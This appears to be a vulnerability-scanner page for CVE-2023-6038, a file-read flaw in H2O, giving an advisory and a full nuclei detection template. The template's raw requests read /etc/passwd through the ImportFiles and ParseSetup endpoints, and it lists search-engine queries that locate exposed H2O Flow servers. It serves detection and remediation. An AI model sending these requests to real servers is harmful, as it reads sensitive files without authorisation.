H2O ImportFiles - Local File Inclusion

highseverity

7.5CVSS score

4.3%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

An attacker is able to read any file on the server hosting the H2O dashboard without any authentication.

Impact

Unauthenticated attackers can read any file on the server via the ImportFiles endpoint, potentially exposing sensitive data including database contents and application code.

Fix

Update H2O to a version that implements proper authentication and authorization controls for the ImportFiles endpoint.

How to confirm it

Send: GET /3/ImportFiles?path=%2Fetc%2Fpasswd ; POST /3/ParseSetup
Positive when: contains(body_1, 'ImportFilesV3') and regex('root:.*:0:0:', body_2) and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2023-6038 -u <target>

The full check

id: CVE-2023-6038

info:
  name: H2O ImportFiles - Local File Inclusion
  author: danmcinerney,byt3bl33d3r
  severity: high
  description: |
    An attacker is able to read any file on the server hosting the H2O dashboard without any authentication.
  impact: |
    Unauthenticated attackers can read any file on the server via the ImportFiles endpoint, potentially exposing sensitive data including database contents and application code.
  remediation: |
    Update H2O to a version that implements proper authentication and authorization controls for the ImportFiles endpoint.
  reference:
    - https://huntr.com/bounties/380fce33-fec5-49d9-a101-12c972125d8c/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6038
    - https://github.com/h2o/h2o
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6038
    cwe-id: CWE-862
    epss-score: 0.0434
    epss-percentile: 0.91286
    cpe: cpe:2.3:a:h2o:h2o:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: h2o
    product: h2o
    shodan-query:
      - title:"H2O Flow"
      - http.title:"h2o flow"
    fofa-query: title="h2o flow"
    google-query: intitle:"h2o flow"
  tags: cve,cve2023,h2o-3,h2o,ml,vkev,vuln

http:
  - raw:
      - |
        GET /3/ImportFiles?path=%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /3/ParseSetup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        source_frames=%5B%22nfs%3A%2F%2Fetc%2Fpasswd%22%5D

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'ImportFilesV3')"
          - "regex('root:.*:0:0:', body_2)"
          - "status_code_2 == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from